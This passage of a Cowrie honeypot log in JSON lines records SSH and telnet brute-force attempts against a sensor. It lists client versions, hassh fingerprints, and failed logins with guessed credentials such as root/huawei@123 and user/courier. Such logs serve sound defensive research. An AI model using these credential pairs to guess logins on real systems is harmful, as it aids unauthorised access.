ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:17.077487Z","src_ip":"182.253.79.194","session":"19ce00238b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:18.214226Z","src_ip":"182.253.79.194","session":"19ce00238b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:19.489833Z","src_ip":"182.253.79.194","session":"19ce00238b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:29.260705Z","src_ip":"122.168.114.167","session":"72d7572d5a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.2","message":"Connection lost after 24.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:34.114465Z","src_ip":"122.168.114.167","session":"72d7572d5a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42618,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7a3ff2707aa","protocol":"ssh","message":"New connection: 159.203.92.129:42618 (159.203.135.109:22) [session: b7a3ff2707aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:34.503521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:34.521589Z","src_ip":"159.203.92.129","session":"b7a3ff2707aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:34.525390Z","src_ip":"159.203.92.129","session":"b7a3ff2707aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appjq","password":"123456","message":"login attempt [appjq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:34.572680Z","src_ip":"159.203.92.129","session":"b7a3ff2707aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:35.591107Z","src_ip":"159.203.92.129","session":"b7a3ff2707aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31925,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9da070e71d","protocol":"ssh","message":"New connection: 2.57.121.25:31925 (10.17.0.5:22) [session: 5f9da070e71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:52.669285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:52.674637Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:52.773900Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f52a36727fff","protocol":"ssh","message":"New connection: 122.168.114.167:58724 (159.203.135.109:22) [session: f52a36727fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:53.034466Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"courier","message":"login attempt [user/courier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:53.245669Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"corpse","message":"login attempt [user/corpse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:54.350892Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"coolone","message":"login attempt [user/coolone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:55.452877Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:56.031542Z","src_ip":"122.168.114.167","session":"f52a36727fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:56.036395Z","src_ip":"122.168.114.167","session":"f52a36727fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"colony","message":"login attempt [user/colony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:56.555007Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"colombo","message":"login attempt [user/colombo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:57.656684Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:10:58.758013Z","src_ip":"2.57.121.25","session":"5f9da070e71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:09.577146Z","src_ip":"122.168.114.167","session":"f52a36727fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:12.763032Z","src_ip":"122.168.114.167","session":"f52a36727fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35052,"dst_ip":"159.203.135.109","dst_port":22,"session":"db470ba379a3","protocol":"ssh","message":"New connection: 159.203.92.129:35052 (159.203.135.109:22) [session: db470ba379a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:17.266015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:17.270984Z","src_ip":"159.203.92.129","session":"db470ba379a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:17.275630Z","src_ip":"159.203.92.129","session":"db470ba379a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appjq","password":"appjq","message":"login attempt [appjq/appjq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:17.288393Z","src_ip":"159.203.92.129","session":"db470ba379a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:18.294969Z","src_ip":"159.203.92.129","session":"db470ba379a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":58107,"dst_ip":"10.17.0.5","dst_port":22,"session":"7599edbf0c8f","protocol":"ssh","message":"New connection: 182.253.79.194:58107 (10.17.0.5:22) [session: 7599edbf0c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:20.295859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:20.302312Z","src_ip":"182.253.79.194","session":"7599edbf0c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:20.567960Z","src_ip":"182.253.79.194","session":"7599edbf0c8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1986","message":"login attempt [root/1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:21.656663Z","src_ip":"182.253.79.194","session":"7599edbf0c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:22.924329Z","src_ip":"182.253.79.194","session":"7599edbf0c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":32910,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ca371066b7","protocol":"ssh","message":"New connection: 122.168.114.167:32910 (159.203.135.109:22) [session: c0ca371066b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:36.188919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:37.965739Z","src_ip":"122.168.114.167","session":"c0ca371066b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:37.969467Z","src_ip":"122.168.114.167","session":"c0ca371066b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:46.979386Z","src_ip":"122.168.114.167","session":"c0ca371066b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:11:50.482032Z","src_ip":"122.168.114.167","session":"c0ca371066b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38648,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4a41d3eb35d","protocol":"ssh","message":"New connection: 159.203.92.129:38648 (159.203.135.109:22) [session: c4a41d3eb35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:00.162508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:00.169546Z","src_ip":"159.203.92.129","session":"c4a41d3eb35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:00.174994Z","src_ip":"159.203.92.129","session":"c4a41d3eb35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appl122","password":"123456","message":"login attempt [appl122/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:00.190752Z","src_ip":"159.203.92.129","session":"c4a41d3eb35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:01.197713Z","src_ip":"159.203.92.129","session":"c4a41d3eb35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.194.177.237","src_port":23473,"dst_ip":"10.17.0.5","dst_port":23,"session":"56dbf9a0f814","protocol":"telnet","message":"New connection: 168.194.177.237:23473 (10.17.0.5:23) [session: 56dbf9a0f814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:05.460856Z"}
